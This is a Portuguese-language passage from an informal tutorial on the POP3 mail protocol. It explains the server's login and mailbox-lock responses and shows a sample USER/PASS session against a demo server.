reconheceu seu login e senha e agora voce esta logado e sua mailbox esta travada (locked). -ERR Invalid login. Try again or get out. -ERR Unable to lock mailbox. File already locked. No primeiro caso, voce nao conseguiu logar porque escreveu a senha errada. No segundo caso voce logou no servidor com a senha correta mas nao conseguiu abrir a sua mailbox porque ela esta travada. Isso pode ocorrer por 2 fatores: Ou eh um problema no servidor, o que ja aconteceu comigo quando lia meu e-mail no iG, por exemplo, ou pode ser que outro pessoa esteja no momento lendo seus e-mails.... Entre com um novo USER/PASS ou de um QUIT. EXEMPLOS: Autenticado com sucesso: +OK pcHazard Personal POP3 Server v0.01 servicing you USER pchaz +OK Please send a PASS command PASS pchaz +OK Maildrop has 2 messages Erro ao autenticar por usuario invalido: +OK pcHazard